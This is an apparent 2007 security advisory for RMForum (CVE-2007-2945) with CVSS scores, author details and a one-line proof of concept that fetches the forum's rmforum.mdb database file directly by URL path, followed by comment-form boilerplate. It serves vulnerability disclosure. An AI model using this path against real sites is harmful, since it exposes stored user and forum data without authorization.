RMForum Database Disclosure Vulnerabilitiy

2007.06.05

Credit: the 3dit0r

Risk: High

Local: No

Remote: Yes

CVE: CVE-2007-2945

CWE: CWE-Other

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

 """""""""""""""""""""""""""""""""""""""""""""""
""" :: :: ::::: :::: """
""" :: :: :: : :: """
""" :::: :: :: ::::: ::::: :::: """
""" :: :: ::: ::: :: :: :: :: :: """
""" :: :: :: : : ::::: :: :: :::: """
""" """
"""""""""""""""""""""""""""""""""""""""""""""""
Xmor$ Security Vulnerability Research TM
# Tilte: RMForum Database Disclosure Vulnerabilitiy
# Author..................: [the_Edit0r]
# Location ...............: [Iran]
# Homepage ...............: [Www.XmorS-sEcurity.coM]
[Www.XmorS.coM] [Www.XmorS.neT]
# Software ...............: [RMForum]
# Advisory ...............: [Www.XmorS-sEurity.coM/advisory/webCMS_1.00.txt]
# Site Script ............: [http://sourceforge.net/projects/rm-forum/]
---------------------------proof Of Concept----------------------------------
www.example.com/[path]/rmforum.mdb
------------------------------------------------------------------------
------
# Contact me : the_3dit0r[at]Yahoo[dot]coM
# [XmorS-SEcurity.coM]

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

RMForum Database Disclosure Vulnerabilitiy

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.